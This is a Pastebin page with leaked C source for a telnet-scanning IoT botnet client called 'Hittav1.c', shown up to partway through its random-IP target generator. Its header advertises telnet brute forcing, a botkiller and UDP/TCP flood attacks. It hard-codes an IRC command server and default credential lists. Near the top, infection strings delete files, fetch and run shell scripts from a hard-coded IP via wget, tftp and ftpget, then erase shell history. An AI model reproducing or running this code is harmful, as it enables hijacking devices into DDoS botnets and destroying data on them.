Advertisement
DevilsExpl0its

Hittav1.c [PRIVATE] [CLIENT SIDE]

Sep 28th, 2017
725
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 93.25 KB | None | 0 0
  1.  
  2.  
  3. /* This is for the hackers */
  4. // This is a private file. //
  5. /* Please don't leak this. */
  6.  
  7. /*
  8.  
  9. This build was done by: Ozzy Aragon
  10. Leaked by DevilsExploits & Fameless
  11.  
  12. ===============================================
  13. - Build #1 (Hittav1.c)                        -
  14. -                                             -
  15. - Contents:                                   -
  16. -                                             -
  17. - [Client Specifications]                     -
  18. -  [+] Working/Fast Telnet Scanner            -
  19. -  [+] 3 Logins, Faster/More Efficient        -
  20. -  [+] Working Advanced Botkiller             -
  21. -                                             -
  22. - [Floods]                                    -
  23. -  [+] Multi-Thread GHP Flood                 -
  24. -  [+] Modified STD Flood                     -
  25. -  [+] Normal UDP Flood                       -
  26. -  [+] Normal TCP Flood                       -
  27. -----------------------------------------------            
  28. |There will be more builds to come!           |
  29. |_____________________________________________|
  30. |_____________________________________________|                                
  31. */
  32.  
  33.  
  34. #define PR_SET_NAME 15
  35. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  36. #define PAD_RIGHT 1
  37. #define PAD_ZERO 2
  38. #define PRINT_BUF_LEN 12
  39. #define CMD_IAC   255
  40. #define CMD_WILL  251
  41. #define CMD_WONT  252
  42. #define CMD_DO    253
  43. #define CMD_DONT  254
  44. #define OPT_SGA   3
  45. #define STD_PIGZ 75
  46. #define BUFFER_SIZE 512
  47. #include <stdlib.h>
  48. #include <stdarg.h>
  49. #include <stdio.h>
  50. #include <sys/socket.h>
  51. #include <sys/types.h>
  52. #include <netinet/in.h>
  53. #include <arpa/inet.h>
  54. #include <netdb.h>
  55. #include <signal.h>
  56. #include <strings.h>
  57. #include <string.h>
  58. #include <sys/utsname.h>
  59. #include <unistd.h>
  60. #include <fcntl.h>
  61. #include <errno.h>
  62. #include <netinet/ip.h>
  63. #include <netinet/udp.h>
  64. #include <netinet/tcp.h>
  65. #include <sys/wait.h>
  66. #include <sys/ioctl.h>
  67. #include <net/if.h>
  68. char *infect2 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *;  wget http://139.59.12.52/deltahaxsyeaok.sh; chmod 777 deltahaxsyeaok.sh; sh deltahaxsyeaok.sh;  tftp 139.59.12.52 -c get ukloltftp1.sh; chmod 777 ukloltftp1.sh; sh ukloltftp1.sh; tftp -r ukloltftp2.sh -g 139.59.12.52; chmod 777 ukloltftp2.sh; sh ukloltftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.12.52 ukloltftp1.sh ukloltftp1; sh ukloltftp1; rm -rf deltahaxsyeaok.sh ukloltftp1.sh ukloltftp2.sh ftp1.sh; rm -rf *;history -c\r\n";
  69. char *infect = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *;  wget http://139.59.12.52/deltahaxsyeaok.sh; chmod 777 deltahaxsyeaok.sh; sh deltahaxsyeaok.sh;  tftp 139.59.12.52 -c get ukloltftp1.sh; chmod 777 ukloltftp1.sh; sh ukloltftp1.sh; tftp -r ukloltftp2.sh -g 139.59.12.52; chmod 777 ukloltftp2.sh; sh ukloltftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.12.52 ukloltftp1.sh ukloltftp1; sh ukloltftp1; rm -rf deltahaxsyeaok.sh ukloltftp1.sh ukloltftp2.sh ftp1.sh; rm -rf *\r\n";
  70. char *phonepayload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *;  wget http://139.59.12.52/deltahaxsyeaok.sh; chmod 777 deltahaxsyeaok.sh; sh deltahaxsyeaok.sh;  tftp 139.59.12.52 -c get ukloltftp1.sh; chmod 777 ukloltftp1.sh; sh ukloltftp1.sh; tftp -r ukloltftp2.sh -g 139.59.12.52; chmod 777 ukloltftp2.sh; sh ukloltftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.12.52 ukloltftp1.sh ukloltftp1; sh ukloltftp1; rm -rf deltahaxsyeaok.sh ukloltftp1.sh ukloltftp2.sh ftp1.sh; rm -rf *; history -c\r\n";
  71. char *usernames[] = {"telnet\0"};
  72. char* phone[] = {":", "ogin", "sername", "assword", "Linux", "9615-cdp", (char*)0};
  73. char *passwords[] = {"telnet\0"};
  74. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  75. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  76. char *successes[] = {"busybox", "$", "#", (char*)0};
  77. char *infected[] = {"Device Repped"};
  78. char *infectedmessage[] = {"Device Repped"};
  79. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  80. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox",  "$", "#", (char*)0};
  81.  
  82. //    ___             __ _
  83. //   / __\___  _ __  / _(_) __ _
  84. //  / /  / _ \| '_ \| |_| |/ _` |
  85. // / /__| (_) | | | |  _| | (_| |
  86. // \____/\___/|_| |_|_| |_|\__, |
  87. //                         |___/
  88.  
  89. unsigned char *commServer[] =
  90. {
  91.         "159.203.127.164:6667"
  92. };
  93.  
  94. //    ___                 _
  95. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  96. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  97. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  98. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  99.  
  100. int initConnection();
  101. int getBogos(unsigned char *bogomips);
  102. int getCores();
  103. int getCountry(unsigned char *buf, int bufsize);
  104. void makeRandomStr(unsigned char *buf, int length);
  105. int sockprintf(int sock, char *formatStr, ...);
  106. char *inet_ntoa(struct in_addr in);
  107.  
  108. //    ___ _       _           _
  109. //   / _ \ | ___ | |__   __ _| |___
  110. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  111. // / /_\\| | (_) | |_) | (_| | \__ \
  112. // \____/|_|\___/|_.__/ \__,_|_|___/
  113.  
  114. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  115. uint32_t *pids;
  116. uint32_t scanPid;
  117. uint64_t numpids = 0;
  118. struct in_addr ourIP;
  119. unsigned char macAddress[6] = {0};
  120.  
  121. //    ___  ___  __      __  ___
  122. //   / __\/ _ \/__\  /\ \ \/ _ \
  123. //  / _\ / /_)/ \// /  \/ / /_\/
  124. // / /  / ___/ _  \/ /\  / /_\\
  125. // \/   \/   \/ \_/\_\ \/\____/
  126.  
  127. #define PHI 0x9e3779b9
  128. static uint32_t Q[4096], c = 362436;
  129. uint32_t Phonepid;
  130. void init_rand(uint32_t x)
  131. {
  132.         int i;
  133.  
  134.         Q[0] = x;
  135.         Q[1] = x + PHI;
  136.         Q[2] = x + PHI + PHI;
  137.  
  138.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  139. }
  140.  
  141. uint32_t rand_cmwc(void)
  142. {
  143.         uint64_t t, a = 18782LL;
  144.         static uint32_t i = 4095;
  145.         uint32_t x, r = 0xfffffffe;
  146.         i = (i + 1) & 4095;
  147.         t = a * Q[i] + c;
  148.         c = (uint32_t)(t >> 32);
  149.         x = t + c;
  150.         if (x < c) {
  151.                 x++;
  152.                 c++;
  153.         }
  154.         return (Q[i] = r - x);
  155. }
  156.  
  157. //        _   _ _
  158. //  /\ /\| |_(_) |___
  159. // / / \ \ __| | / __|
  160. // \ \_/ / |_| | \__ \
  161. //  \___/ \__|_|_|___/
  162.  
  163. void trim(char *str)
  164. {
  165.         int i;
  166.         int begin = 0;
  167.         int end = strlen(str) - 1;
  168.  
  169.         while (isspace(str[begin])) begin++;
  170.  
  171.         while ((end >= begin) && isspace(str[end])) end--;
  172.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  173.  
  174.         str[i - begin] = '\0';
  175. }
  176.  
  177. static void printchar(unsigned char **str, int c)
  178. {
  179.         if (str) {
  180.                 **str = c;
  181.                 ++(*str);
  182.         }
  183.         else (void)write(1, &c, 1);
  184. }
  185.  
  186. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  187. {
  188.         register int pc = 0, padchar = ' ';
  189.  
  190.         if (width > 0) {
  191.                 register int len = 0;
  192.                 register const unsigned char *ptr;
  193.                 for (ptr = string; *ptr; ++ptr) ++len;
  194.                 if (len >= width) width = 0;
  195.                 else width -= len;
  196.                 if (pad & PAD_ZERO) padchar = '0';
  197.         }
  198.         if (!(pad & PAD_RIGHT)) {
  199.                 for ( ; width > 0; --width) {
  200.                         printchar (out, padchar);
  201.                         ++pc;
  202.                 }
  203.         }
  204.         for ( ; *string ; ++string) {
  205.                 printchar (out, *string);
  206.                 ++pc;
  207.         }
  208.         for ( ; width > 0; --width) {
  209.                 printchar (out, padchar);
  210.                 ++pc;
  211.         }
  212.  
  213.         return pc;
  214. }
  215.  
  216. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  217. {
  218.         unsigned char print_buf[PRINT_BUF_LEN];
  219.         register unsigned char *s;
  220.         register int t, neg = 0, pc = 0;
  221.         register unsigned int u = i;
  222.  
  223.         if (i == 0) {
  224.                 print_buf[0] = '0';
  225.                 print_buf[1] = '\0';
  226.                 return prints (out, print_buf, width, pad);
  227.         }
  228.  
  229.         if (sg && b == 10 && i < 0) {
  230.                 neg = 1;
  231.                 u = -i;
  232.         }
  233.  
  234.         s = print_buf + PRINT_BUF_LEN-1;
  235.         *s = '\0';
  236.  
  237.         while (u) {
  238.                 t = u % b;
  239.                 if( t >= 10 )
  240.                 t += letbase - '0' - 10;
  241.                 *--s = t + '0';
  242.                 u /= b;
  243.         }
  244.  
  245.         if (neg) {
  246.                 if( width && (pad & PAD_ZERO) ) {
  247.                         printchar (out, '-');
  248.                         ++pc;
  249.                         --width;
  250.                 }
  251.                 else {
  252.                         *--s = '-';
  253.                 }
  254.         }
  255.  
  256.         return pc + prints (out, s, width, pad);
  257. }
  258. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  259. char *makestring() {
  260.     char *tmp;
  261.     int len=(rand()%5)+4,i;
  262.     FILE *file;
  263.     tmp=(char*)malloc(len+1);
  264.     memset(tmp,0,len+1);
  265.     char *pre;
  266.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  267.     else {
  268.         int a=((rand()*rand())%45402)+1;
  269.         char buf[1024];
  270.         for (i=0;i<a;i++) fgets(buf,1024,file);
  271.         memset(buf,0,1024);
  272.         fgets(buf,1024,file);
  273.         filter(buf);
  274.         memcpy(tmp,buf,len);
  275.         fclose(file);
  276.     }
  277.     return tmp;
  278. }
  279.  
  280. static int print(unsigned char **out, const unsigned char *format, va_list args )
  281. {
  282.         register int width, pad;
  283.         register int pc = 0;
  284.         unsigned char scr[2];
  285.  
  286.         for (; *format != 0; ++format) {
  287.                 if (*format == '%') {
  288.                         ++format;
  289.                         width = pad = 0;
  290.                         if (*format == '\0') break;
  291.                         if (*format == '%') goto out;
  292.                         if (*format == '-') {
  293.                                 ++format;
  294.                                 pad = PAD_RIGHT;
  295.                         }
  296.                         while (*format == '0') {
  297.                                 ++format;
  298.                                 pad |= PAD_ZERO;
  299.                         }
  300.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  301.                                 width *= 10;
  302.                                 width += *format - '0';
  303.                         }
  304.                         if( *format == 's' ) {
  305.                                 register char *s = (char *)va_arg( args, int );
  306.                                 pc += prints (out, s?s:"(null)", width, pad);
  307.                                 continue;
  308.                         }
  309.                         if( *format == 'd' ) {
  310.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  311.                                 continue;
  312.                         }
  313.                         if( *format == 'x' ) {
  314.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  315.                                 continue;
  316.                         }
  317.                         if( *format == 'X' ) {
  318.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  319.                                 continue;
  320.                         }
  321.                         if( *format == 'u' ) {
  322.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  323.                                 continue;
  324.                         }
  325.                         if( *format == 'c' ) {
  326.                                 scr[0] = (unsigned char)va_arg( args, int );
  327.                                 scr[1] = '\0';
  328.                                 pc += prints (out, scr, width, pad);
  329.                                 continue;
  330.                         }
  331.                 }
  332.                 else {
  333. out:
  334.                         printchar (out, *format);
  335.                         ++pc;
  336.                 }
  337.         }
  338.         if (out) **out = '\0';
  339.         va_end( args );
  340.         return pc;
  341. }
  342.  
  343. int zprintf(const unsigned char *format, ...)
  344. {
  345.         va_list args;
  346.         va_start( args, format );
  347.         return print( 0, format, args );
  348. }
  349.  
  350. int szprintf(unsigned char *out, const unsigned char *format, ...)
  351. {
  352.         va_list args;
  353.         va_start( args, format );
  354.         return print( &out, format, args );
  355. }
  356.  
  357.  
  358. int sockprintf(int sock, char *formatStr, ...)
  359. {
  360.         unsigned char *textBuffer = malloc(2048);
  361.         memset(textBuffer, 0, 2048);
  362.         char *orig = textBuffer;
  363.         va_list args;
  364.         va_start(args, formatStr);
  365.         print(&textBuffer, formatStr, args);
  366.         va_end(args);
  367.         orig[strlen(orig)] = '\n';
  368.         zprintf("buf: %s\n", orig);
  369.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  370.         free(orig);
  371.         return q;
  372. }
  373.  
  374. static int *fdopen_pids;
  375.  
  376. int fdpopen(unsigned char *program, register unsigned char *type)
  377. {
  378.         register int iop;
  379.         int pdes[2], fds, pid;
  380.  
  381.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  382.  
  383.         if (pipe(pdes) < 0) return -1;
  384.         if (fdopen_pids == NULL) {
  385.                 if ((fds = getdtablesize()) <= 0) return -1;
  386.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  387.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  388.         }
  389.  
  390.         switch (pid = vfork())
  391.         {
  392.         case -1:
  393.                 close(pdes[0]);
  394.                 close(pdes[1]);
  395.                 return -1;
  396.         case 0:
  397.                 if (*type == 'r') {
  398.                         if (pdes[1] != 1) {
  399.                                 dup2(pdes[1], 1);
  400.                                 close(pdes[1]);
  401.                         }
  402.                         close(pdes[0]);
  403.                 } else {
  404.                         if (pdes[0] != 0) {
  405.                                 (void) dup2(pdes[0], 0);
  406.                                 (void) close(pdes[0]);
  407.                         }
  408.                         (void) close(pdes[1]);
  409.                 }
  410.                 execl("/bin/sh", "sh", "-c", program, NULL);
  411.                 _exit(127);
  412.         }
  413.         if (*type == 'r') {
  414.                 iop = pdes[0];
  415.                 (void) close(pdes[1]);
  416.         } else {
  417.                 iop = pdes[1];
  418.                 (void) close(pdes[0]);
  419.         }
  420.         fdopen_pids[iop] = pid;
  421.         return (iop);
  422. }
  423.  
  424. int fdpclose(int iop)
  425. {
  426.         register int fdes;
  427.         sigset_t omask, nmask;
  428.         int pstat;
  429.         register int pid;
  430.  
  431.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  432.         (void) close(iop);
  433.         sigemptyset(&nmask);
  434.         sigaddset(&nmask, SIGINT);
  435.         sigaddset(&nmask, SIGQUIT);
  436.         sigaddset(&nmask, SIGHUP);
  437.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  438.         do {
  439.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  440.         } while (pid == -1 && errno == EINTR);
  441.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  442.         fdopen_pids[fdes] = 0;
  443.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  444. }
  445.  
  446. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  447. {
  448.         int got = 1, total = 0;
  449.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  450.         return got == 0 ? NULL : buffer;
  451. }
  452.  
  453. static const long hextable[] = {
  454.         [0 ... 255] = -1,
  455.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  456.         ['A'] = 10, 11, 12, 13, 14, 15,
  457.         ['a'] = 10, 11, 12, 13, 14, 15
  458. };
  459.  
  460. long parseHex(unsigned char *hex)
  461. {
  462.         long ret = 0;
  463.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  464.         return ret;
  465. }
  466.  
  467. int wildString(const unsigned char* pattern, const unsigned char* string) {
  468.         switch(*pattern)
  469.         {
  470.         case '\0': return *string;
  471.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  472.         case '?': return !(*string && !wildString(pattern+1, string+1));
  473.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  474.         }
  475. }
  476.  
  477. int getHost(unsigned char *toGet, struct in_addr *i)
  478. {
  479.         struct hostent *h;
  480.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  481.         return 0;
  482. }
  483.  
  484. void uppercase(unsigned char *str)
  485. {
  486.         while(*str) { *str = toupper(*str); str++; }
  487. }
  488.  
  489. int getBogos(unsigned char *bogomips)
  490. {
  491.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  492.         char linebuf[4096];
  493.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  494.         {
  495.                 uppercase(linebuf);
  496.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  497.                 {
  498.                         unsigned char *pos = linebuf + 8;
  499.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  500.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  501.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  502.                         strcpy(bogomips, pos);
  503.                         close(cmdline);
  504.                         return 0;
  505.                 }
  506.                 memset(linebuf, 0, 4096);
  507.         }
  508.         close(cmdline);
  509.         return 1;
  510. }
  511.  
  512. int getCores()
  513. {
  514.         int totalcores = 0;
  515.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  516.         char linebuf[4096];
  517.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  518.         {
  519.                 uppercase(linebuf);
  520.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  521.                 memset(linebuf, 0, 4096);
  522.         }
  523.         close(cmdline);
  524.         return totalcores;
  525.  
  526. }
  527.  
  528. void makeRandomStr(unsigned char *buf, int length)
  529. {
  530.         int i = 0;
  531.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  532. }
  533.  
  534. int recvLine(int socket, unsigned char *buf, int bufsize)
  535. {
  536. memset(buf, 0, bufsize);
  537.  
  538. fd_set myset;
  539. struct timeval tv;
  540. tv.tv_sec = 30;
  541. tv.tv_usec = 0;
  542. FD_ZERO(&myset);
  543. FD_SET(socket, &myset);
  544. int selectRtn, retryCount;
  545. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  546. while(retryCount < 10)
  547. {
  548. sockprintf(mainCommSock, "PING");
  549.  
  550. tv.tv_sec = 30;
  551. tv.tv_usec = 0;
  552. FD_ZERO(&myset);
  553. FD_SET(socket, &myset);
  554. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  555. retryCount++;
  556. continue;
  557. }
  558.  
  559. break;
  560. }
  561. }
  562.  
  563. unsigned char tmpchr;
  564. unsigned char *cp;
  565. int count = 0;
  566.  
  567. cp = buf;
  568. while(bufsize-- > 1)
  569. {
  570. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  571. *cp = 0x00;
  572. return -1;
  573. }
  574. *cp++ = tmpchr;
  575. if(tmpchr == '\n') break;
  576. count++;
  577. }
  578. *cp = 0x00;
  579.  
  580. // zprintf("recv: %s\n", cp);
  581.  
  582. return count;
  583. }
  584.  
  585. struct telstate_t
  586. {
  587. int fd;
  588. unsigned int ip;
  589. unsigned char state;
  590. unsigned char complete;
  591. unsigned char usernameInd;
  592. unsigned char passwordInd;
  593. unsigned char tempDirInd;
  594. unsigned int totalTimeout;
  595. unsigned short bufUsed;
  596. char *sockbuf;
  597. };
  598. const char* get_telstate_host(struct telstate_t* telstate)
  599. {
  600. struct in_addr in_addr_ip;
  601. in_addr_ip.s_addr = telstate->ip;
  602. return inet_ntoa(in_addr_ip);
  603. }
  604.  
  605. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  606. {
  607. int num_bytes, i;
  608. memset(buffer, 0, buf_size);
  609. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  610.  
  611. if(buffer[0] == 0xFF)
  612. {
  613. negotiate(fd, buffer, 3);
  614. }
  615.  
  616. if(contains_string(buffer, strings))
  617. {
  618. return 1;
  619. }
  620.  
  621. return 0;
  622. }
  623. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  624. {
  625. fd_set read_set;
  626. struct timeval tv;
  627. tv.tv_sec = 0;
  628. tv.tv_usec = timeout_usec;
  629.  
  630. FD_ZERO(&read_set);
  631. FD_SET(fd, &read_set);
  632.  
  633. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  634. return 0;
  635.  
  636. return recv(fd, buffer, buf_size, 0);
  637. }
  638. int connectTimeout(int fd, char *host, int port, int timeout)
  639. {
  640. struct sockaddr_in dest_addr;
  641. fd_set myset;
  642. struct timeval tv;
  643. socklen_t lon;
  644.  
  645. int valopt;
  646. long arg = fcntl(fd, F_GETFL, NULL);
  647. arg |= O_NONBLOCK;
  648. fcntl(fd, F_SETFL, arg);
  649.  
  650. dest_addr.sin_family = AF_INET;
  651. dest_addr.sin_port = htons(port);
  652. if(getHost(host, &dest_addr.sin_addr)) return 0;
  653. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  654. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  655.  
  656. if (res < 0) {
  657. if (errno == EINPROGRESS) {
  658. tv.tv_sec = timeout;
  659. tv.tv_usec = 0;
  660. FD_ZERO(&myset);
  661. FD_SET(fd, &myset);
  662. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  663. lon = sizeof(int);
  664. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  665. if (valopt) return 0;
  666. }
  667. else return 0;
  668. }
  669. else return 0;
  670. }
  671.  
  672. arg = fcntl(fd, F_GETFL, NULL);
  673. arg &= (~O_NONBLOCK);
  674. fcntl(fd, F_SETFL, arg);
  675.  
  676. return 1;
  677. }
  678.  
  679. int listFork()
  680. {
  681.         uint32_t parent, *newpids, i;
  682.         parent = fork();
  683.         if (parent <= 0) return parent;
  684.         numpids++;
  685.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  686.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  687.         newpids[numpids - 1] = parent;
  688.         free(pids);
  689.         pids = newpids;
  690.         return parent;
  691. }
  692.  
  693. int negotiate(int sock, unsigned char *buf, int len)
  694. {
  695.         unsigned char c;
  696.  
  697.         switch (buf[1]) {
  698.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  699.         case CMD_WILL:
  700.         case CMD_WONT:
  701.         case CMD_DO:
  702.         case CMD_DONT:
  703.                 c = CMD_IAC;
  704.                 send(sock, &c, 1, MSG_NOSIGNAL);
  705.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  706.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  707.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  708.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  709.                 send(sock, &c, 1, MSG_NOSIGNAL);
  710.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  711.                 break;
  712.  
  713.         default:
  714.                 break;
  715.         }
  716.  
  717.         return 0;
  718. }
  719.  
  720. int matchPrompt(char *bufStr)
  721. {
  722.         char *prompts = ":>%$#\0";
  723.  
  724.         int bufLen = strlen(bufStr);
  725.         int i, q = 0;
  726.         for(i = 0; i < strlen(prompts); i++)
  727.         {
  728.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  729.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  730.         }
  731.  
  732.         return 0;
  733. }
  734.  
  735. void advance_state(struct telstate_t* telstate, int new_state)
  736. {
  737. if(new_state == 0)
  738. {
  739. close(telstate->fd);
  740. }
  741.  
  742. telstate->totalTimeout = 0;
  743. telstate->state = new_state;
  744. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  745. }
  746.  
  747. void reset_telstate(struct telstate_t* telstate)
  748. {
  749. advance_state(telstate, 0);
  750. telstate->complete = 1;
  751. }
  752. int contains_success(char* buffer)
  753. {
  754. return contains_string(buffer, successes);
  755. }
  756. int contains_fail(char* buffer)
  757. {
  758. return contains_string(buffer, fails);
  759. }
  760.  
  761. int contains_response(char* buffer)
  762. {
  763. return contains_success(buffer) || contains_fail(buffer);
  764. }
  765. int contains_string(char* buffer, char** strings)
  766. {
  767. int num_strings = 0, i = 0;
  768.  
  769. for(num_strings = 0; strings[++num_strings] != 0; );
  770.  
  771. for(i = 0; i < num_strings; i++)
  772. {
  773. if(strcasestr(buffer, strings[i]))
  774. {
  775. return 1;
  776. }
  777. }
  778.  
  779. return 0;
  780. }
  781.  
  782. int contains_infectmessage(char* buffer)
  783. {
  784. return contains_string(buffer, infected);
  785. }
  786.  
  787. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  788. {
  789.         int bufferUsed = initialIndex, got = 0, found = 0;
  790.         fd_set myset;
  791.         struct timeval tv;
  792.         tv.tv_sec = timeout;
  793.         tv.tv_usec = timeoutusec;
  794.         unsigned char *initialRead = NULL;
  795.  
  796.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  797.         {
  798.                 FD_ZERO(&myset);
  799.                 FD_SET(fd, &myset);
  800.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  801.                 initialRead = buffer + bufferUsed;
  802.                 got = recv(fd, initialRead, 1, 0);
  803.                 if(got == -1 || got == 0) return 0;
  804.                 bufferUsed += got;
  805.                 if(*initialRead == 0xFF)
  806.                 {
  807.                         got = recv(fd, initialRead + 1, 2, 0);
  808.                         if(got == -1 || got == 0) return 0;
  809.                         bufferUsed += got;
  810.                         if(!negotiate(fd, initialRead, 3)) return 0;
  811.                 } else {
  812.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  813.                 }
  814.         }
  815.  
  816.         if(found) return 1;
  817.         return 0;
  818. }
  819.  
  820. //   _____  ___         _   _ _
  821. //   \_   \/ _ \  /\ /\| |_(_) |___
  822. //    / /\/ /_)/ / / \ \ __| | / __|
  823. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  824. // \____/\/       \___/ \__|_|_|___/
  825.  
  826. static uint8_t ipState[5];
  827. in_addr_t getRandomPublicIP()
  828. {
  829. ipState[1] = 0;
  830. ipState[2] = 0;
  831. ipState[3] = 0;
  832. ipState[4] = 0;
  833. ipState[1] = rand() % 255;
  834. ipState[2] = rand() % 255;
  835. ipState[3] = rand() % 255;
  836. ipState[4] = rand() % 255;
  837. int randnum = rand() % 152;
  838. char ip[16];
  839. if(randnum == 0)
  840. {
  841. szprintf(ip, "112.5.%d.%d", ipState[2], ipState[3]);
  842. }
  843. if(randnum == 1)
  844. {
  845. szprintf(ip, "117.165.%d.%d", ipState[2], ipState[3]);
  846. }
  847. if(randnum == 2)
  848. {
  849. szprintf(ip, "85.3.%d.%d", ipState[2], ipState[3]);
  850. }
  851. if(randnum == 3)
  852. {
  853. szprintf(ip, "41.252.%d.%d", ipState[2], ipState[3]);
  854. }
  855. if(randnum == 4)
  856. {
  857. szprintf(ip, "104.55.%d.%d", ipState[2], ipState[3]);
  858. }
  859. if(randnum == 5)
  860. {
  861. szprintf(ip, "78.186.%d.%d", ipState[2], ipState[3]);
  862. }
  863. if(randnum == 6)
  864. {
  865. szprintf(ip, "78.189.%d.%d", ipState[2], ipState[3]);
  866. }
  867. if(randnum == 7)
  868. {
  869. szprintf(ip, "221.120.%d.%d", ipState[2], ipState[3]);
  870. }
  871. if(randnum == 8)
  872. {
  873. szprintf(ip, "88.5.%d.%d", ipState[2], ipState[3]);
  874. }
  875. if(randnum == 9)
  876. {
  877. szprintf(ip, "41.254.%d.%d", ipState[2], ipState[3]);
  878. }
  879. if(randnum == 10)
  880. {
  881. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  882. }
  883. if(randnum == 11)
  884. {
  885. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  886. }
  887. if(randnum == 12)
  888. {
  889. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  890. }
  891. if(randnum == 13)
  892. {
  893. szprintf(ip, "45.117.%d.%d", ipState[2], ipState[3]);
  894. }
  895. if(randnum == 14)
  896. {
  897. szprintf(ip, "101.51.%d.%d", ipState[2], ipState[3]);
  898. }
  899. if(randnum == 15)
  900. {
